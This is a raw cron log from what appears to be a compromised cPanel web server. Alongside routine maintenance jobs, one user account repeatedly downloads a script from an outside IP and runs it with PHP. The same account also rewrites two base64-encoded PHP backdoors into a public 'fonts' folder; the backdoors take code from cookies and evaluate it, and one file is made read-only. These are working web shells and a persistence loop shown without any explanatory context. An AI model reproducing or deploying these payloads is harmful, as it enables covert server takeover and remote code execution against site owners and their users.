Sep  9 08:48:01 ip-184-168-122-23 CROND[15453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:48:01 ip-184-168-122-23 CROND[15457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:49:01 ip-184-168-122-23 CROND[15572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:49:01 ip-184-168-122-23 CROND[15573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:49:01 ip-184-168-122-23 CROND[15575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:49:01 ip-184-168-122-23 CROND[15576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:50:01 ip-184-168-122-23 CROND[15729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:50:01 ip-184-168-122-23 CROND[15730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:50:01 ip-184-168-122-23 CROND[15733]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 08:50:01 ip-184-168-122-23 CROND[15736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:50:01 ip-184-168-122-23 CROND[15738]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:50:01 ip-184-168-122-23 CROND[15735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:50:01 ip-184-168-122-23 CROND[15737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:50:01 ip-184-168-122-23 CROND[15734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:50:01 ip-184-168-122-23 CROND[15732]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:51:01 ip-184-168-122-23 CROND[15860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:51:01 ip-184-168-122-23 CROND[15861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:51:01 ip-184-168-122-23 CROND[15864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:51:01 ip-184-168-122-23 CROND[15865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:52:01 ip-184-168-122-23 CROND[15984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:52:01 ip-184-168-122-23 CROND[15986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:52:01 ip-184-168-122-23 CROND[15990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:52:01 ip-184-168-122-23 CROND[15988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:52:01 ip-184-168-122-23 CROND[15989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:53:01 ip-184-168-122-23 CROND[16194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:53:01 ip-184-168-122-23 CROND[16196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:53:01 ip-184-168-122-23 CROND[16197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:53:01 ip-184-168-122-23 CROND[16198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:54:01 ip-184-168-122-23 CROND[16343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:54:01 ip-184-168-122-23 CROND[16345]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:54:01 ip-184-168-122-23 CROND[16347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:54:01 ip-184-168-122-23 CROND[16346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:54:01 ip-184-168-122-23 CROND[16348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:55:01 ip-184-168-122-23 CROND[16508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:55:01 ip-184-168-122-23 CROND[16509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:55:01 ip-184-168-122-23 CROND[16510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:55:01 ip-184-168-122-23 CROND[16511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:55:01 ip-184-168-122-23 CROND[16516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:55:01 ip-184-168-122-23 CROND[16517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:56:01 ip-184-168-122-23 CROND[16627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:56:01 ip-184-168-122-23 CROND[16629]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:56:01 ip-184-168-122-23 CROND[16630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:56:01 ip-184-168-122-23 CROND[16632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:56:01 ip-184-168-122-23 CROND[16631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:57:01 ip-184-168-122-23 CROND[16762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:57:01 ip-184-168-122-23 CROND[16765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:57:01 ip-184-168-122-23 CROND[16766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:57:01 ip-184-168-122-23 CROND[16768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:58:01 ip-184-168-122-23 CROND[16963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:58:01 ip-184-168-122-23 CROND[16964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:58:01 ip-184-168-122-23 CROND[16965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:58:01 ip-184-168-122-23 CROND[16969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:58:01 ip-184-168-122-23 CROND[16971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:59:01 ip-184-168-122-23 CROND[17065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:59:01 ip-184-168-122-23 CROND[17066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:59:01 ip-184-168-122-23 CROND[17067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:59:01 ip-184-168-122-23 CROND[17064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:00:01 ip-184-168-122-23 CROND[17168]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:00:01 ip-184-168-122-23 CROND[17169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:00:01 ip-184-168-122-23 CROND[17170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:00:02 ip-184-168-122-23 CROND[17176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:00:02 ip-184-168-122-23 CROND[17174]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:00:02 ip-184-168-122-23 CROND[17175]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:00:02 ip-184-168-122-23 CROND[17178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:00:02 ip-184-168-122-23 CROND[17179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
